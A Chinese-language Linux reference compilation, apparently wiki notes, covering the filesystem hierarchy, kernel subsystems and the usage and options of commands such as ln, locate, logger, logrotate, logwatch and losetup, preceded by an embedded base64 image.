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
* 小即是美
* 每个程序只做好一件事
* 采用纯文本存储数据
* 一切皆文件
* 避免强制的用户界面
* 让每一个程序都成为过滤器
* Just for fun
```bash
[root@ALI01 ~]# tree -L 1 /
/
├── bin -> usr/bin
├── boot
├── dev
├── etc
├── home
├── lib -> usr/lib
├── lib64 -> usr/lib64
├── lost+found
├── media
├── mnt
├── opt
├── proc
├── root
├── run
├── sbin -> usr/sbin
├── srv
├── sys
├── tmp
├── usr
└── var

```


*  /- 根
每一个文件和目录从根目录开始。
只有root用户具有该目录下的写权限。请注意,/root是root用户的主目录,这与/.不一样

 

*  /bin中 - 用户二进制文件
包含二进制可执行文件。
在单用户模式下,你需要使用的常见Linux命令都位于此目录下。系统的所有用户使用的命令都设在这里。
例如:ps、ls、ping、grep、cp

*  /sbin目录 - 系统二进制文件
就像/bin,/sbin同样也包含二进制可执行文件。
但是,在这个目录下的linux命令通常由系统管理员使用,对系统进行维护。例如:iptables、reboot、fdisk、ifconfig、swapon命令

*  /etc - 配置文件
包含所有程序所需的配置文件。
也包含了用于启动/停止单个程序的启动和关闭shell脚本。例如:/etc/resolv.conf、/etc/logrotate.conf

*  /dev - 设备文件
包含设备文件。
这些包括终端设备、USB或连接到系统的任何设备。例如:/dev/tty# /dev/usbmon0

*  /proc - 进程信息
包含系统进程的相关信息。
这是一个虚拟的文件系统,包含有关正在运行的进程的信息。例如:/proc/{pid}目录中包含的与特定pid相关的信息。
这是一个虚拟的文件系统,系统资源以文本信息形式存在。例如:/proc/uptime

*  /var - 变量文件
var代表变量文件。
这个目录下可以找到内容可能增长的文件。
这包括 - 系统日志文件(/var/log);包和数据库文件(/var/lib);电子邮件(/var/mail);打印队列(/var/spool);锁文件(/var/lock);多次重新启动需要的临时文件(/var/tmp);

*  /tmp - 临时文件
包含系统和用户创建的临时文件。
当系统重新启动时,这个目录下的文件都将被删除。

*  /usr - 用户程序
包含二进制文件、库文件、文档和二级程序的源代码。
/usr/bin中包含用户程序的二进制文件。如果你在/bin中找不到用户二进制文件,到/usr/bin目录看看。例如:at、awk、cc、less、scp。
/usr/sbin中包含系统管理员的二进制文件。如果你在/sbin中找不到系统二进制文件,到/usr/sbin目录看看。例如:atd、cron、sshd、useradd、userdel。
/usr/lib中包含了/usr/bin和/usr/sbin用到的库。
/usr/local中包含了从源安装的用户程序。例如,当你从源安装Apache,它会在/usr/local/apache2中。

*  /home - HOME目录
所有用户用home目录来存储他们的个人档案。
例如:/home/john、/home/nikita

*  /boot - 引导加载程序文件
包含引导加载程序相关的文件。
内核的initrd、vmlinux、grub文件位于/boot下。
例如:initrd.img-2.6.32-24-generic、vmlinuz-2.6.32-24-generic

*   /lib - 系统库
包含支持位于/bin和/sbin下的二进制文件的库文件.
库文件名为 ld*或lib*.so.*
例如:ld-2.11.1.so,libncurses.so.5.7

*   /opt - 可选的附加应用程序
opt代表可选的。
包含从个别厂商的附加应用程序。
附加应用程序应该安装在/opt/或者/opt/的子目录下。

*   /mnt - 挂载目录
临时安装目录,系统管理员可以挂载文件系统。

*   /media - 可移动媒体设备
用于挂载可移动设备的临时目录。
举例来说,挂载CD-ROM的/media/cdrom,挂载软盘驱动器的/media/floppy;

*   /srv - 服务数据
srv代表服务。
包含服务器特定服务相关的数据。
例如,/srv/cvs包含cvs相关的数据。
!! 内核
*Linux内核是Linux操作系统一部分。
**对下,它管理系统的所有硬件设备;
**对上,它通过系统调用,向Library Routine(例如C库)或者其它应用程序提供接口。

*其核心功能就是:管理硬件设备,供应用程序使用。而现代计算机(无论是PC还是嵌入式系统)的标准组成,就是CPU、Memory(内存和外存)、输入输出设备、网络设备和其它的外围设备。

!! 整体架构
:<div>

[img[linux-system-subsystem.png]]

```
1. Process Scheduler,也称作进程管理、进程调度。负责管理CPU资源,以便让各个进程可以以尽量公平的方式访问CPU。

2. Memory Manager,内存管理。负责管理Memory(内存)资源,以便让各个进程可以安全地共享机器的内存资源。另外,内存管理会提供虚拟内存的机制,该机制可以让进程使用多于系统可用Memory的内存,不用的内存会通过文件系统保存在外部非易失存储器中,需要使用的时候,再取回到内存中。

3. VFS(Virtual File System),虚拟文件系统。Linux内核将不同功能的外部设备,例如Disk设备(硬盘、磁盘、NAND Flash、Nor Flash等)、输入输出设备、显示设备等等,抽象为可以通过统一的文件操作接口(open、close、read、write等)来访问。这就是Linux系统“一切皆是文件”的体现(其实Linux做的并不彻底,因为CPU、内存、网络等还不是文件,如果真的需要一切皆是文件,还得看贝尔实验室正在开发的"Plan 9”的)。

4. Network,网络子系统。负责管理系统的网络设备,并实现多种多样的网络标准。

5. IPC(Inter-Process Communication),进程间通信。IPC不管理任何的硬件,它主要负责Linux系统中进程之间的通信。
```

</div>

!! 子系统

:<div>

* 进程调度
:<div>

进程调度是Linux内核中最重要的子系统,它主要提供对CPU的访问控制。因为在计算机中,CPU资源是有限的,而众多的应用程序都要使用CPU资源,所以需要“进程调度子系统”对CPU进行调度管理。

[img[linux-system-subsystem-process_scheduler.png]]

</div>

* 内存管理
:<div>

内存管理同样是Linux内核中最重要的子系统,它主要提供对内存资源的访问控制。Linux系统会在硬件物理内存和进程所使用的内存(称作虚拟内存)之间建立一种映射关系,这种映射是以进程为单位,因而不同的进程可以使用相同的虚拟内存,而这些相同的虚拟内存,可以映射到不同的物理内存上。

[img[linux-system-subsystem-memory_manager.png]]
</div>

* 虚拟文件系统
:<div>

Linux内核抽象出了设备文件系统、内存文件系统等等。这些逻辑,都是由VFS子系统实现。

[img[linux-system-subsystem-vfs.png]]

</div>

* 网络子系统
:<div>

网络子系统在Linux内核中主要负责管理各种网络设备,并实现各种网络协议栈,最终实现通过网络连接其它系统的功能。在Linux内核中,网络子系统几乎是自成体系,它包括5个子模块(见下图),它们的功能如下:

[img[linux-system-subsystem-net.png]]

</div>
</div>

> https://blog.csdn.net/changexhao/article/details/78321295
!!简介
:<div>
ln
===

用来为文件创件连接

</div>

!! 补充说明

:<div>


"ln命令" 用来为文件创件连接,连接类型分为硬连接和符号连接两种,默认的连接类型是硬连接。如果要创建符号连接必须使用"-s"选项。

注意:符号链接文件不是一个独立的文件,它的许多属性依赖于源文件,所以给符号链接文件设置存取权限是没有意义的。

</div>

!! 语法  

:<div>


```
ln [选项]... [-T] 目标 链接名	(第一种格式)
 或:ln [选项]... 目标		(第二种格式)
 或:ln [选项]... 目标... 目录	(第三种格式)
 或:ln [选项]... -t 目录 目标...	(第四种格式)
```

</div>

!! 选项  

:<div>


```
    --backup[=CONTROL]  为每个已存在的目标文件创建备份文件
-b        类似--backup,但不接受任何参数
-d, -F, --directory   创建指向目录的硬链接(只适用于超级用户)
-f, --force     强行删除任何已存在的目标文件
-i, --interactive           覆盖既有文件之前先询问用户;
-L, --logical               取消引用作为符号链接的目标
-n, --no-dereference        把符号连接的目的目录视为一般文件;
-P, --physical              直接将硬链接到符号链接
-r, --relative              创建相对于链接位置的符号链接
-s, --symbolic              对源文件建立符号连接,而非硬连接;
-S, --suffix=SUFFIX         用"-b"参数备份目标文件后,备份文件的字尾会被加上一个备份字符串,预设的备份字符串是符号“~”,用户可通过“-S”参数来改变它;
-t, --target-directory=DIRECTORY  指定要在其中创建链接的DIRECTORY
-T, --no-target-directory   将“LINK_NAME”视为常规文件
-v, --verbose               打印每个链接文件的名称
    --help    显示此帮助信息并退出
    --version   显示版本信息并退出
```

</div>

!! 参数  

:<div>


*   源文件:指定连接的源文件。如果使用`-s`选项创建符号连接,则“源文件”可以是文件或者目录。创建硬连接时,则“源文件”参数只能是文件;
*   目标文件:指定源文件的目标连接文件。

```bash
none, off       # 不进行备份(即使使用了--backup 选项)
numbered, t     # 备份文件加上数字进行排序
existing, nil   # 若有数字的备份文件已经存在则使用数字,否则使用普通方式备份
simple, never   # 永远使用普通方式备份
```

</div>

!! 实例  

:<div>


将目录`/usr/mengqc/mub1`下的文件m2.c链接到目录`/usr/liu`下的文件a2.c

```
cd /usr/mengqc
ln /mub1/m2.c /usr/liu/a2.c
```

在执行ln命令之前,目录`/usr/liu`中不存在a2.c文件。执行ln之后,在`/usr/liu`目录中才有a2.c这一项,表明m2.c和a2.c链接起来(注意,二者在物理上是同一文件),利用`ls -l`命令可以看到链接数的变化。

在目录`/usr/liu`下建立一个符号链接文件abc,使它指向目录`/usr/mengqc/mub1`

```
ln -s /usr/mengqc/mub1 /usr/liu/abc
```

执行该命令后,`/usr/mengqc/mub1`代表的路径将存放在名为`/usr/liu/abc`的文件中。

</div>

!! 扩展知识  

:<div>


Linux具有为一个文件起多个名字的功能,称为链接。被链接的文件可以存放在相同的目录下,但是必须有不同的文件名,而不用在硬盘上为同样的数据重复备份。另外,被链接的文件也可以有相同的文件名,但是存放在不同的目录下,这样只要对一个目录下的该文件进行修改,就可以完成对所有目录下同名链接文件的修改。对于某个文件的各链接文件,我们可以给它们指定不同的存取权限,以控制对信息的共享和增强安全性。

文件链接有两种形式,即硬链接和符号链接。

</div>

!! 硬链接  

:<div>


建立硬链接时,在另外的目录或本目录中增加目标文件的一个目录项,这样,一个文件就登记在多个目录中。如图所示的m2.c文件就在目录mub1和liu中都建立了目录项。

创建硬链接后,己经存在的文件的I节点号(Inode)会被多个目录文件项使用。一个文件的硬链接数可以在目录的长列表格式的第二列中看到,无额外链接的文件的链接数为l。

在默认情况下,ln命令创建硬链接。ln命令会增加链接数,rm命令会减少链接数。一个文件除非链接数为0,否则不会从文件系统中被物理地删除。

对硬链接有如下限制:

*   不能对目录文件做硬链接。
*   不能在不同的文件系统之间做硬链接。就是说,链接文件和被链接文件必须位于同一个文件系统中。

</div>

!! 符号链接  

:<div>


符号链接也称为软链接,是将一个路径名链接到一个文件。这些文件是一种特别类型的文件。事实上,它只是一个文本文件(如图中的abc文件),其中包含它提供链接的另一个文件的路径名,如图中虚线箭头所示。另一个文件是实际包含所有数据的文件。所有读、写文件内容的命令被用于符号链接时,将沿着链接方向前进来访问实际的文件。

!符号连接

与硬链接不同的是,符号链接确实是一个新文件,当然它具有不同的I节点号;而硬链接并没有建立新文件。

符号链接没有硬链接的限制,可以对目录文件做符号链接,也可以在不同文件系统之间做符号链接。

用`ln -s`命令建立符号链接时,源文件最好用绝对路径名。这样可以在任何工作目录下进行符号链接。而当源文件用相对路径时,如果当前的工作路径与要创建的符号链接文件所在路径不同,就不能进行链接。

符号链接保持了链接与源文件或目录之间的区别:

*   删除源文件或目录,只删除了数据,不会删除链接。一旦以同样文件名创建了源文件,链接将继续指向该文件的新数据。
*   在目录长列表中,符号链接作为一种特殊的文件类型显示出来,其第一个字母是l。
*   符号链接的大小是其链接文件的路径名中的字节数。
*   当用`ln -s`命令列出文件时,可以看到符号链接名后有一个箭头指向源文件或目录,例如`lrwxrwxrwx … 14 jun 20 10:20 /etc/motd->/original_file`其中,表示“文件大小”的数字“14”恰好说明源文件名`original_file`由14个字符构成。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
lnstat
===

显示Linux系统的网路状态

</div>

!! 补充说明

:<div>


"lnstat命令" 用来显示Linux系统的网路状态。

</div>

!! 语法  

:<div>


```
lnstat(选项)
```

</div>

!! 选项  

:<div>


```
-h:显示帮助信息;
-V:显示指令版本信息;
-c:指定显示网络状态的次数,每隔一定时间显示一次网络状态;
-d:显示可用的文件或关键字;
-i:指定两次显示网络状的间隔秒数;
-k:只显示给定的关键字;
-s:是否显示标题头;
-w:指定每个字段所占的宽度。
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
```
localctl list-locales
localctl set-locale zh_CN.utf8
LANG=en_US.utf8
```
!!简介
:<div>
locate
===

比 find 好用的文件查找工具

</div>

!! 补充说明

:<div>


locate 让使用者可以很快速的搜寻档案系统内是否有指定的档案。其方法是先建立一个包括系统内所有档案名称及路径的数据库,之后当寻找时就只需查询这个数据库,而不必实际深入档案系统之中了。在一般的 distribution 之中,数据库的建立都被放在 crontab 中自动执行。

locate命令可以在搜寻数据库时快速找到档案,数据库由updatedb程序来更新,updatedb是由cron daemon周期性建立的,locate命令在搜寻数据库时比由整个由硬盘资料来搜寻资料来得快,但较差劲的是locate所找到的档案若是最近才建立或 刚更名的,可能会找不到,在内定值中,updatedb每天会跑一次,可以由修改crontab来更新设定值。(etc/crontab)

locate指定用在搜寻符合条件的档案,它会去储存档案与目录名称的数据库内,寻找合乎范本样式条件的档案或目录录,可以使用特殊字元(如”*” 或”?”等)来指定范本样式,如指定范本为kcpa*ner, locate 会找出所有起始字串为kcpa且结尾为ner的档案或目录,如名称为kcpartner若目录录名称为kcpa_ner则会列出该目录下包括 子目录在内的所有档案。

locate指令和find找寻档案的功能类似,但locate是透过update程序将硬盘中的所有档案和目录资料先建立一个索引数据库,在 执行loacte时直接找该索引,查询速度会较快,索引数据库一般是由操作系统管理,但也可以直接下达update强迫系统立即修改索引数据库。

</div>

!! 语法

:<div>


```
locate [选择参数] [样式]
```

</div>

!! 选项

:<div>


```
-e 将排除在寻找的范围之外。
-1 如果 是 1.则启动安全模式。在安全模式下,使用者不会看到权限无法看到 的档案。这会始速度减慢,因为 locate 必须至实际的档案系统中取得档案的  权限资料。
-f 将特定的档案系统排除在外,例如我们没有到理要把 proc 档案系统中的档案  放在资料库中。
-q 安静模式,不会显示任何错误讯息。
-n 至多显示 n个输出。
-r 使用正规运算式 做寻找的条件。
-o 指定资料库存的名称。
-d 指定资料库的路径
-h 显示辅助讯息
-V 显示程式的版本讯息
```

</div>

!! 实例

:<div>


实例1:查找和pwd相关的所有文件

```
root ~ # locate pwd
/bin/pwd
/etc/.pwd.lock
/sbin/unix_chkpwd
/usr/bin/pwdx
/usr/include/pwd.h
/usr/lib/python2.7/dist-packages/twisted/python/fakepwd.py
/usr/lib/python2.7/dist-packages/twisted/python/fakepwd.pyc
/usr/lib/python2.7/dist-packages/twisted/python/test/test_fakepwd.py
/usr/lib/python2.7/dist-packages/twisted/python/test/test_fakepwd.pyc
/usr/lib/syslinux/pwd.c32
/usr/share/help/C/empathy/irc-join-pwd.page
/usr/share/help/ca/empathy/irc-join-pwd.page
/usr/share/help/cs/empathy/irc-join-pwd.page
/usr/share/help/de/empathy/irc-join-pwd.page
/usr/share/help/el/empathy/irc-join-pwd.page
```

实例2: 搜索etc目录下所有以sh开头的文件

```
root ~ # locate /etc/sh
/etc/shadow
/etc/shadow-
/etc/shells
```

实例3:搜索etc目录下,所有以m开头的文件

```
root ~ # locate /etc/m
/etc/magic
/etc/magic.mime
/etc/mailcap
/etc/mailcap.order
/etc/manpath.config
/etc/mate-settings-daemon
```

<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
logger
===

在系统日志中记录相应条目

</div>

!! 补充说明

:<div>


"logger命令" 是用于往系统中写入日志,他提供一个shell命令接口到syslog系统模块

</div>

!! 语法  

:<div>


```
logger [options] [message]
```

</div>

!! 选项  

:<div>


```
 -T, --tcp             使用流连接(TCP)
 -d, --udp             使用数据报(UDP)
 -i, --id              逐行记录每一次logger的进程ID
 -f, --file <file>     记录特定的文件
 -h, --help            显示帮助文本并退出
 -n, --server <name>   写入指定的远程syslog服务器,使用UDP代替内装式syslog的例程
 -P, --port <port>     使用指定的UDP端口。默认的端口号是514
 -p, --priority <prio> 指定输入消息的优先级,优先级可以是数字或者指定为 " facility.level" 的格式。
                       比如:" -p local3.info " local3 这个设备的消息级别为 info。
                       默认级别是 "user.notice"
 -s, --stderr          输出标准错误到系统日志。
 -t, --tag <tag>       指定标记记录
 -u, --socket <socket> 写入指定的socket,而不是到内置系统日志例程。
 -V, --version         输出版本信息并退出
```

</div>

!! 例子

:<div>


```
logger -p syslog.info "backup.sh is starting"
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
login
===

登录系统或切换用户身份

</div>

!! 补充说明

:<div>


"login命令" 用于给出登录界面,可用于重新登录或者切换用户身份,也可通过它的功能随时更换登入身份。在Slackware发行版中 ,您可在命令后面附加欲登入的用户名称,它会直接询问密码,等待用户输入。当`/etc/nologin`文件存在时,系统只root帐号登入系统,其他用户一律不准登入。

</div>

!! 语法  

:<div>


```
login(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-p:告诉login指令不销毁环境变量;
-h:指定远程服务器的主机名。
```

</div>

!! 参数  

:<div>


用户名:指定登录使用的用户名。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
logname
===

用来显示用户名称

</div>

!! 补充说明

:<div>


"logname命令" 用来显示用户名称。

</div>

!! 语法  

:<div>


```
logname(选项)
```

</div>

!! 选项  

:<div>


```
--help:在线帮助;
--vesion:显示版本信息。
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
logout
===

退出当前登录的Shell

</div>

!! 补充说明

:<div>


"logout命令" 用于退出当前登录的Shell,logout指令让用户退出系统,其功能和login指令相互对应。

</div>

!! 语法  

:<div>


```
logout
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
logrotate
===

统日志进行轮转、压缩和删除

</div>

!! 补充说明

:<div>


"logrotate命令" 用于对系统日志进行轮转、压缩和删除,也可以将日志发送到指定邮箱。使用logrotate指令,可让你轻松管理系统所产生的记录文件。每个记录文件都可被设置成每日,每周或每月处理,也能在文件太大时立即处理。您必须自行编辑,指定配置文件,预设的配置文件存放在`/etc/logrotate.conf`文件中。

</div>

!! 语法  

:<div>


```
logrotate(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-?或--help:在线帮助;
-d或--debug:详细显示指令执行过程,便于排错或了解程序执行的情况;
-f或--force :强行启动记录文件维护操作,纵使logrotate指令认为没有需要亦然;
-s<状态文件>或--state=<状态文件>:使用指定的状态文件;
-v或--version:显示指令执行过程;
-usage:显示指令基本用法。
```

</div>

!! 参数  

:<div>


配置文件:指定lograote指令的配置文件。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
logsave
===

将命令的输出信息保存到指定的日志文件

</div>

!! 补充说明

:<div>


"logsave命令" 运行给定的命令,并将命令的输出信息保存到指定的日志文件中。

</div>

!! 语法  

:<div>


```
logsave(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-a:追加信息到指定的日志文件中。
```

</div>

!! 参数  

:<div>


*   日志文件:指定记录运行信息的日志文件;
*   指令:需要执行的指令。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
logwatch
===

可定制和可插入式的日志监视系统

</div>

!! 补充说明

:<div>


"logwatch命令" 是一个可定制和可插入式的日志监视系统,它通过遍历给定时间范围内的系统日志文件而产生日志报告。logwatch默认每天执行一次,可以从`/etc/cron.daily`里看到。

</div>

!! 语法  

:<div>


```
logwatch(选项)
```

</div>

!! 选项  

:<div>


```
--detail<报告详细程度>:指定日志报告的详细程度;
--logfile<日志文件>:仅处理指定的日志文件;
--service<服务名>:仅处理指定服务的日志文件;
--print:打印结果到标准输出;
--mailto<邮件地址>:将结果发送到指定邮箱;
--range<日期范围>:指定处理日志的日期范围;
--archives:处理归档日志文件;
--debug<调试等级>:调试模式;
--save<文件名>:将结果保存到指定文件中,而不显示或者发送到指定邮箱;
--logdir<目录>:指定查找日志文件的目录,而不使用默认的日志目录;
--hostname<主机名>:指定在日志报告中使用的主机名,不使用系统默认的主机名;
--numeric:在报告中显示ip地址而不是主机名;
--help:显示指令的帮助信息。
```

</div>

!! 实例  

:<div>


检查你的主机上是否已经存在Logwatch(Redhat默认已经安装了Logwatch,不过版本比较旧):

```
rpm -qa logwatch
```

如果主机上没有logwatch,则执行:

```
rpm -Ivh logwatch"*.rpm
```

如果有老版本的logwatch,则执行:

```
rpm -Uvh logwatch"*.rpm
```

安装完毕后,开始配置:

可以修改和添加它的logfiles、services和其他配置,但默认已经有很多脚本了,只要在1)里设置`Detail = High`就可以了。

*   可以添加新的配置到`/etc/logwatch/conf/logwatch.conf`
*   也可以修改`/usr/share/logwatch/default.conf/logwatch.conf`

`/etc/logwatch/conf/`会自动覆盖`/usr/share/logwatch/default.conf/`下的同名文件。

如果没有设置logwatch.conf也没关系,可以直接在命令行下设置。

```
logwatch --detail High --Service All --range All --print    基本就可以显示出所有日志的情况了
logwatch --service sshd --detail High                       只看sshd的日志情况
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
look
===

显示文件中以指定字符串开头的任意行

</div>

!! 补充说明

:<div>


"look命令" 用于显示文件中以指定字符串开头的任意行。

</div>

!! 语法  

:<div>


```
look(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-a:使用另一个字典文件web2,该文件也位于/usr/dict目录下;
-d:只对比英文字母和数字,其余一概忽略不予比对;
-f:忽略字符大小写差别;
-t<字尾字符串>:设置字尾字符串。
```

</div>

!! 参数  

:<div>


*   字符串:指定要查找的字符串;
*   文件:指定要查找的目标文件。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
''losetup''命令用来设置循环设备。循环设备可把文件虚拟成块设备,籍此来模拟整个文件系统,让用户得以将其视为硬盘驱动器,光驱或软驱等设备,并挂入当作目录来使用。

!语法

```
losetup [ -e encryption ] [ -o offset ] loop_device file
losetup [ -d ] loop_device
```

!选项

```
-a 显示所有循环设备的状态。
-d 卸除设备。
-e <加密选项> 启动加密编码 。
-f 寻找第一个未使用的循环设备。
-o <偏移量>设置数据偏移量,单位是字节。
```

!loop设备介绍

在类 UNIX 系统里,loop 设备是一种伪设备(pseudo-device),或者也可以说是仿真设备。它能使我们像块设备一样访问一个文件。在使用之前,一个 loop 设备必须要和一个文件进行连接。这种结合方式给用户提供了一个替代块特殊文件的接口。因此,如果这个文件包含有一个完整的文件系统,那么这个文件就可以像一个磁盘设备一样被 mount 起来。

上面说的文件格式,我们经常见到的是 cd 或 DVD 的 ISO 光盘镜像文件或者是软盘(硬盘)的 *.img 镜像文件。通过这种 loop mount (回环mount)的方式,这些镜像文件就可以被 mount 到当前文件系统的一个目录下。

